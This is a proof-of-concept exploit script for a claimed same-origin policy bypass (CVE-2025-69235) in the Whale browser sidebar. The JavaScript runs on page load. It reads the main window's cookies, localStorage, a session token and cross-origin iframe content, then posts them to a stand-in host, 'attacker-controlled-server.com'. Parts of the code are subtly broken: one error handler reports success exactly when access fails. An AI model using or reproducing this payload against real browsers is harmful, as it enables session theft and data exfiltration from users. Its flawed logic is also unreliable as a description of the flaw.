CVE-2025-69235 Whale浏览器Same-Origin Policy绕过漏洞

// CVE-2025-69235 PoC - Same-Origin Policy Bypass in Whale Browser Sidebar // This PoC demonstrates the SOP bypass vulnerability in Whale browser's sidebar environment // Attack scenario: Malicious page in sidebar accessing data from main browsing context const attackPayload = { // Step 1: Detect if running in Whale browser sidebar isWhaleSidebar: function() { try { // Check for Whale-specific APIs or behaviors return window !== window.parent || (window.external && window.external.whale) || document.domain !== window.top.location.hostname; } catch (e) { return false; } }, // Step 2: Attempt to access cross-origin data through sidebar exploitSOPBypass: async function() { const results = { success: false, stolenData: null, error: null }; try { // Attempt to access top window's document in sidebar context // This should be blocked by SOP, but the vulnerability allows bypass const topWindow = window.top; // Try to access document content (SOP bypass) if (topWindow && topWindow.document) { // Steal page content through sidebar results.stolenData = { title: topWindow.document.title, cookies: topWindow.document.cookie, localStorage: this.extractLocalStorage(topWindow), sessionStorage: this.extractSessionStorage(topWindow) }; results.success = true; } // Attempt to read iframe content across origins const iframes = topWindow.document.getElementsByTagName('iframe'); for (let iframe of iframes) { try { const iframeDoc = iframe.contentDocument || iframe.contentWindow.document; if (iframeDoc) { results.stolenData.iframeData = iframeDoc.body.innerHTML; } } catch (e) { // Expected to fail normally, but succeeds with vulnerability console.log('Iframe access successful (vulnerability present)'); } } } catch (e) { results.error = e.message; } return results; }, // Helper functions extractLocalStorage: function(win) { try { return win.localStorage.getItem('sensitive_data'); } catch (e) { return null; } }, extractSessionStorage: function(win) { try { return win.sessionStorage.getItem('session_token'); } catch (e) { return null; } }, // Step 3: Exfiltrate stolen data exfiltrateData: function(data) { const exfilEndpoint = 'https://attacker-controlled-server.com/collect'; fetch(exfilEndpoint, { method: 'POST', body: JSON.stringify(data), mode: 'no-cors' }); } }; // Execute attack when page loads document.addEventListener('DOMContentLoaded', async () => { if (attackPayload.isWhaleSidebar()) { const results = await attackPayload.exploitSOPBypass(); if (results.success) { attackPayload.exfiltrateData(results.stolenData); } } });